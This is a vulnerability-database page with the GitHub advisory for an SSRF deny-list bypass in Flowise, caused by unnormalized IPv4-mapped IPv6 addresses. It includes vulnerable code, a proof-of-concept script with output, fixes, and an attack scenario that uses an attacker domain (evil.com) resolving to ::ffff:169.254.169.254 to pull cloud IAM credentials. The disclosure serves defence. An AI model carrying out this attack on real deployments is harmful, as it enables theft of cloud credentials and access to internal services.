Vulnerability-Lookup

CVE-2026-69257 (GCVE-0-2026-69257)

Vulnerability from cvelistv5 – Published: 2026-08-04 15:51 – Updated: 2026-08-04 16:36

Title

Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3.

Severity

7.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)
CWE-1389 - Incorrect Parsing of Numbers with Different Radices

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6431	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/0fc76…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
FlowiseAI	Flowise	Affected: < 3.1.3

Show details on NVD website

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GHSA-C6XH-WV4J-PPV5

Vulnerability from github – Published: 2026-08-04 15:51 – Updated: 2026-08-04 15:51

Summary

Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses

Details

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

CWE-918: Server-Side Request Forgery (SSRF)
CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254: - ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6' - ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4' - 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

Function	Usage Count	Affected Components
`secureAxiosRequest()`	8+	HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
`secureFetch()`	5+	ApiChain, Custom Function sandbox, Jira tool, MCP tool
`checkDenyList()`	3+	MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) PoC script: poc_ssrf_bypass.js

Impact

Target	Impact	Severity
AWS/GCP/Azure Metadata (`169.254.169.254`)	Steal IAM credentials, service account tokens	Critical
Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`)	Access internal APIs, databases, admin panels	High
Localhost (`127.0.0.1`)	Access Flowise's own API with elevated privileges, access co-located services	High

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);

    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }

    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}

Severity

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918",
      "CWE-1389"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:51:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFlowise\u0027s HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:\u003ctarget_ipv4\u003e`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.\n\n## CWE\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)\n\n## Affected Versions\n\n- All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03)\n- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)\n\n## Details\n\n### Root Cause\n\nThe `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison:\n\n```typescript\n// httpSecurity.ts - isDeniedIP()\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    const parsedIp = ipaddr.parse(ip);\n    for (const entry of denyList) {\n        if (entry.includes(\u0027/\u0027)) {\n            try {\n                const [range, _] = entry.split(\u0027/\u0027)\n                const parsedRange = ipaddr.parse(range)\n                // \u26a0\ufe0f BUG: IPv4-mapped IPv6 has kind=\u0027ipv6\u0027, IPv4 CIDR has kind=\u0027ipv4\u0027\n                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry\n                if (parsedIp.kind() === parsedRange.kind()) {  // \u003c-- BYPASS HERE\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error(\u0027Access to this host is denied by policy.\u0027)\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`)\n            }\n        } else if (ip === entry) {\n            throw new Error(\u0027Access to this host is denied by policy.\u0027)\n        }\n    }\n}\n```\n\nWhen the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`:\n- `ipaddr.parse(\u0027::ffff:169.254.169.254\u0027).kind()` returns `\u0027ipv6\u0027`\n- `ipaddr.parse(\u0027169.254.169.254\u0027).kind()` (from deny list entry) returns `\u0027ipv4\u0027`\n- `\u0027ipv6\u0027 === \u0027ipv4\u0027` is `false` \u2192 **CIDR check is completely skipped**\n\nThe IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.\n\n### Attack Vector\n\n1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)\n2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/`\n3. `resolveAndValidate()` calls `dns.lookup(\u0027evil.attacker.com\u0027, { all: true })` which returns `[{ address: \u0027::ffff:169.254.169.254\u0027, family: 6 }]`\n4. `isDeniedIP(\u0027::ffff:169.254.169.254\u0027, denyList)` is called \u2014 all IPv4 CIDR entries are skipped due to kind mismatch\n5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address\n\n### Affected Endpoints\n\nAll code paths using the SSRF protection functions are vulnerable:\n\n| Function | Usage Count | Affected Components |\n|----------|:-----------:|-------------------|\n| `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |\n| `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |\n| `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping |\n\n### Proof of Concept\n\n```javascript\n// Verify the bypass using ipaddr.js (same library Flowise uses)\nconst ipaddr = require(\u0027ipaddr.js\u0027);\n\nconst denyList = [\n    \u0027169.254.169.254/16\u0027,  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)\n    \u002710.0.0.0/8\u0027,          // RFC1918 (covered by 10.0.0.0/8 in Flowise)\n    \u0027127.0.0.0/8\u0027,         // Loopback (covered by 127.0.0.0/8 in Flowise)\n    \u0027172.16.0.0/12\u0027,       // RFC1918 (covered by 172.16.0.0/12 in Flowise)\n    \u0027192.168.0.0/16\u0027,      // RFC1918 (covered by 192.168.0.0/16 in Flowise)\n];\n\n// Normal IPv4 - correctly blocked\nconst normalIP = ipaddr.parse(\u0027169.254.169.254\u0027);\nconsole.log(\u0027169.254.169.254 kind:\u0027, normalIP.kind()); // \u0027ipv4\u0027\n\n// IPv4-mapped IPv6 - bypasses ALL checks\nconst mappedIP = ipaddr.parse(\u0027::ffff:169.254.169.254\u0027);\nconsole.log(\u0027::ffff:169.254.169.254 kind:\u0027, mappedIP.kind()); // \u0027ipv6\u0027\nconsole.log(\u0027Is IPv4Mapped?:\u0027, mappedIP.isIPv4MappedAddress()); // true\nconsole.log(\u0027Maps to:\u0027, mappedIP.toIPv4Address().toString()); // \u0027169.254.169.254\u0027\n\n// Demonstrate the bypass\nfor (const entry of denyList) {\n    const [range] = entry.split(\u0027/\u0027);\n    const parsedRange = ipaddr.parse(range);\n    const kindMatch = mappedIP.kind() === parsedRange.kind();\n    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!\n}\n// Result: ALL deny list entries are skipped\n```\n\n**Attack Scenario (AWS Cloud):**\n```bash\n# 1. Attacker sets up DNS: evil.com AAAA -\u003e ::ffff:a9fe:a9fe (169.254.169.254)\n# 2. Attacker creates a chatflow with HTTP Node pointing to:\n#    URL: http://evil.com/latest/meta-data/iam/security-credentials/\n# 3. Flowise resolves evil.com -\u003e ::ffff:169.254.169.254\n# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)\n# 5. Request reaches AWS IMDS -\u003e Returns IAM role credentials\n```\n\n### Verified PoC Output\n\nThe following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `ipaddr.js@2.2.0` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic:\n\n**Step 1: kind() mismatch confirmed**\n```\n169.254.169.254                kind=ipv4  isIPv4Mapped=false\n::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 169.254.169.254\n127.0.0.1                      kind=ipv4  isIPv4Mapped=false\n::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 127.0.0.1\n10.0.0.1                       kind=ipv4  isIPv4Mapped=false\n::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 10.0.0.1\n192.168.1.1                    kind=ipv4  isIPv4Mapped=false\n::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 192.168.1.1\n172.16.0.1                     kind=ipv4  isIPv4Mapped=false\n::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 172.16.0.1\n```\n\n**Step 2: Normal IPv4 \u2014 correctly blocked \u2705**\n```\n169.254.169.254           \u2192 \ud83d\udd12 BLOCKED (matched: 169.254.169.254)\n127.0.0.1                 \u2192 \ud83d\udd12 BLOCKED (matched: 127.0.0.0/8)\n10.0.0.1                  \u2192 \ud83d\udd12 BLOCKED (matched: 10.0.0.0/8)\n192.168.1.1               \u2192 \ud83d\udd12 BLOCKED (matched: 192.168.0.0/16)\n172.16.0.1                \u2192 \ud83d\udd12 BLOCKED (matched: 172.16.0.0/12)\n```\n\n**Step 3: IPv4-Mapped IPv6 \u2014 ALL bypass deny list \u26a0\ufe0f**\n```\n::ffff:169.254.169.254         \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 169.254.169.254)\n::ffff:127.0.0.1               \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 127.0.0.1)\n::ffff:10.0.0.1                \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 10.0.0.1)\n::ffff:192.168.1.1             \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 192.168.1.1)\n::ffff:172.16.0.1              \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 172.16.0.1)\n```\n\n**Step 4: Root cause \u2014 kind mismatch skips CIDR check**\n```\nChecking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16\nparsedIp.kind()    = \u0027ipv6\u0027\nparsedRange.kind() = \u0027ipv4\u0027\nkind match?        = false \u2190 CIDR check is SKIPPED!\nBut the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)\n```\n\n**Step 5: Proposed fix \u2014 all bypass addresses now blocked \u2705**\n```\n::ffff:169.254.169.254         \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 169.254.0.0/16)\n::ffff:127.0.0.1               \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 127.0.0.0/8)\n::ffff:10.0.0.1                \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 10.0.0.0/8)\n::ffff:192.168.1.1             \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 192.168.0.0/16)\n::ffff:172.16.0.1              \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 172.16.0.0/12)\n```\n\n**Step 6: Attack simulation**\n```\nVulnerable isDeniedIP:  \u26a0\ufe0f ALLOWED \u2192 Request reaches AWS metadata!\nFixed isDeniedIP:       \ud83d\udd12 BLOCKED \u2192 Attack prevented!\n```\n\n\u003e **Verification environment**: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency `^2.2.0`)\n\u003e **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js)\n\n\n## Impact\n\n| Target | Impact | Severity |\n|--------|--------|----------|\n| AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical |\n| Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High |\n| Localhost (`127.0.0.1`) | Access Flowise\u0027s own API with elevated privileges, access co-located services | High |\n\nThis bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution.\n\n## Remediation\n\n### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)\n\n```typescript\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    let parsedIp = ipaddr.parse(ip);\n    \n    // \u2705 FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking\n    if (parsedIp.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedIp.isIPv4MappedAddress()) {\n        parsedIp = parsedIp.toIPv4Address();\n    }\n    \n    for (const entry of denyList) {\n        if (entry.includes(\u0027/\u0027)) {\n            try {\n                const [range, _] = entry.split(\u0027/\u0027);\n                let parsedRange = ipaddr.parse(range);\n                // Also normalize deny list entries\n                if (parsedRange.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedRange.isIPv4MappedAddress()) {\n                    parsedRange = parsedRange.toIPv4Address();\n                }\n                if (parsedIp.kind() === parsedRange.kind()) {\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error(\u0027Access to this host is denied by policy.\u0027);\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`);\n            }\n        } else if (ip === entry) {\n            throw new Error(\u0027Access to this host is denied by policy.\u0027);\n        }\n    }\n}\n```\n\n### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)\n\nAdditionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:\n\n```typescript\nconst DEFAULT_DENY_LIST = [\n    // ... existing entries ...\n    \u0027::ffff:0:0/96\u0027,        // Block ALL IPv4-mapped IPv6 addresses\n    \u0027::ffff:127.0.0.1/128\u0027, // Explicit loopback mapped\n    \u0027::ffff:169.254.0.0/112\u0027, // Explicit link-local mapped  \n    \u0027::ffff:10.0.0.0/104\u0027,  // Explicit RFC1918 Class A mapped\n    \u0027::ffff:172.16.0.0/108\u0027, // Explicit RFC1918 Class B mapped\n    \u0027::ffff:192.168.0.0/112\u0027, // Explicit RFC1918 Class C mapped\n];\n```\n\n### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)\n\n```typescript\nasync function resolveAndValidate(url: string): Promise\u003cResolvedTarget\u003e {\n    // ... existing code ...\n    const records = await dns.lookup(hostname, { all: true });\n    for (const r of records) {\n        let address = r.address;\n        // Normalize IPv4-mapped IPv6 for deny list checking\n        if (ipaddr.isValid(address)) {\n            const parsed = ipaddr.parse(address);\n            if (parsed.kind() === \u0027ipv6\u0027 \u0026\u0026 parsed.isIPv4MappedAddress()) {\n                address = parsed.toIPv4Address().toString();\n            }\n        }\n        isDeniedIP(address, denyList);\n    }\n    // ... rest of code ...\n}\n```",
  "id": "GHSA-c6xh-wv4j-ppv5",
  "modified": "2026-08-04T15:51:59Z",
  "published": "2026-08-04T15:51:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-69257 (GCVE-0-2026-69257)

GHSA-C6XH-WV4J-PPV5

Summary

CWE

Affected Versions

Details

Root Cause

Attack Vector

Affected Endpoints

Proof of Concept

Verified PoC Output

Impact

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

Tags

Sightings

Nomenclature

Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)

Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)